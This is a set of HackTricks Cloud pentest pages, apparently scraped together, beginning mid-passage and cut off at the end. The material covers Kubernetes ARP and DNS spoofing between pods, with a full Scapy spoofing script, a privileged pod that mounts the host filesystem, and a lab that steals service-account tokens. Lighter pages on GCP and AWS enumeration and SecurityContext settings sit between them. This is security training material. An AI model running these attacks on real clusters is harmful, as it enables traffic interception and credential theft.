metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" If you want more details about the networking topics introduced here, go to the references. Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP. This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2). warning Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace: bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.** If you check the DNS address inside any pod you will find something like this: cat /etc/resolv.conf nameserver 10.96.0.10 However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26. Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**. warning This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod. Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**). Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses. Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance arp\_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**. You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like: cat hosts google.com. 1.1.1.1 Perform the attack to the ubuntu-victim machine: python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 note If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**. You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions. It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy). * [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) * [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - API Keys Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In Google Cloud Platform (GCP), API keys are a simple encrypted string that **identifies an application without any principa**l. They are used to **access Google Cloud APIs** that do not require user context. This means they are often used in scenarios where the application is accessing its own data rather than user data. You can **apply restrictions to API keys** for enhanced security. For example, you can restrict the key to be **used only by certain IP addresses, webs, android apps, iOS apps**, or restrict it to **certain APIs or services** within GCP. It's possible to **see the restriction of an API key** (including GCP API endpoints restriction) using the verbs list or describe: bash gcloud services api-keys list gcloud services api-keys describe gcloud services api-keys list --show-deleted note It's possible to recover deleted keys before 30days passes, that's why you can list deleted keys. [GCP - Apikeys Privesc](../gcp-privilege-escalation/gcp-apikeys-privesc.html) [GCP - API Keys Unauthenticated Enum](../gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.html) [GCP - API Keys Persistence](../gcp-persistence/gcp-api-keys-persistence.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GH Actions - Cache Poisoning - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # AWS - Other Services Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces In AWS you can access current and previous support cases via the API aws support describe-cases --include-resolved-cases tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes SecurityContext(s) - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. [](#podsecuritycontext-v1-core) -------------------------------- [**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider: * To have **runASNonRoot** as **True** * To configure **runAsUser** * If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile** * Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups** | Parameter | Description | | [**fsGroup**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) _integer_ | A special supplemental group that applies to **all containers in a pod**. Some volume types allow the Kubelet to **change the ownership of that volume** to be owned by the pod: 1\. The owning GID will be the FSGroup 2\. The setgid bit is set (new files created in the volume will be owned by FSGroup) 3\. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume | | [**fsGroupChangePolicy**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) _string_ | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. | | [**runAsGroup**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) _integer_ | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. | | [**runAsNonRoot**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) _boolean_ | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. | | [**runAsUser**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) _integer_ | The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. | | [**seLinuxOptions**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) [_SELinuxOptions_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core) _More info about_ _**seLinux**_ | The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. | | [**seccompProfile**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) [_SeccompProfile_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core) _More info about_ _**Seccomp**_ | The **seccomp options to use by the containers** in this pod. | | [**supplementalGroups**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) _integer array_ | A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. | | [**sysctls**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) [_Sysctl_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core) _array_ _More info about_ [_**sysctls**_](https://www.garron.me/en/go2linux/sysctl-linux.html) | Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. | | [**windowsOptions**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) [_WindowsSecurityContextOptions_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core) | The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. | [**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) This context is set inside the **containers definitions**. From a defensive security point of view you should consider: * **allowPrivilegeEscalation** to **False** * Do not add sensitive **capabilities** (and remove the ones you don't need) * **privileged** to **False** * If possible, set **readOnlyFilesystem** as **True** * Set **runAsNonRoot** to **True** and set a **runAsUser** * If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile** * Do **NOT** give **privilege** **group** access via **runAsGroup.** Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**. | [**allowPrivilegeEscalation**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_boolean_ | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no\_new\_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP\_SYS\_ADMIN** | | --- | --- | | [**capabilities**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

[_Capabilities_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core)

_More info about_ _**Capabilities**_ | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. | | [**privileged**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_boolean_ | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. | | [**procMount**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_string_ | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. | | [**readOnlyRootFilesystem**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_boolean_ | Whether this **container has a read-only root filesystem**. Default is false. | | [**runAsGroup**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_integer_ | The **GID to run the entrypoint** of the container process. Uses runtime default if unset. | | [**runAsNonRoot**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_boolean_ | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. | | [**runAsUser**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

_integer_ | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. | | [**seLinuxOptions**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

[_SELinuxOptions_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core)

_More info about_ _**seLinux**_ | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. | | [**seccompProfile**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

[_SeccompProfile_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core) | The **seccomp options** to use by this container. | | [**windowsOptions**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)

[_WindowsSecurityContextOptions_](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core) | The **Windows specific settings** applied to all containers. | * [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) * [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Roles Abuse Lab - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 11 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. You can run these labs just inside **minikube**. We are going to create: * A **Service account "test-sa"** with a cluster privilege to **read secrets** * A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created * **Permissions** to list and **create** pods to a user called "**Test**" will be given * A Role "test-r" and RoleBinding "test-rb" will be created * Then we will **confirm** that the SA can list secrets and that the user Test can list a pods * Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.** * This is the way yo show the user could escalate privileges this way note To create the scenario an admin account is used. Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**. bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: ServiceAccount name: test-sa - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Check test-sa can access kube-system secrets kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets # Check user User can get pods in namespace default kubectl --as Test -n default get pods # Create a pod as user Test with the SA test-sa (privesc step) echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa bash # Create Service Account test-sa # Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-r rules: - apiGroups: ["apps"] resources: ["daemonsets"] verbs: ["get", "list", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test-rb subjects: - kind: User name: Test roleRef: kind: Role name: test-r apiGroup: rbac.authorization.k8s.io --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-cr rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list", "delete", "patch", "create"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: test-crb subjects: - kind: ServiceAccount namespace: default name: test-sa apiGroup: "" roleRef: kind: ClusterRole name: test-cr apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - # Check test-sa can access kube-system secrets kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets # Check user User can get pods in namespace default kubectl --as Test -n default get daemonsets # Create a daemonset as user Test with the SA test-sa (privesc step) echo "apiVersion: apps/v1 kind: DaemonSet metadata: name: alpine namespace: default spec: selector: matchLabels: name: alpine template: metadata: labels: name: alpine spec: serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true containers: - name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - # Connect to the pod created an confirm the attached SA token belongs to test-sa kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d # Clean the scenario kubectl delete daemonset alpine kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa In this case we are going to **patch a daemonset** to make its pod load our desired service account. If your user has the **verb update instead of patch, this won't work**. bash # Create Service Account test-sa # Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user 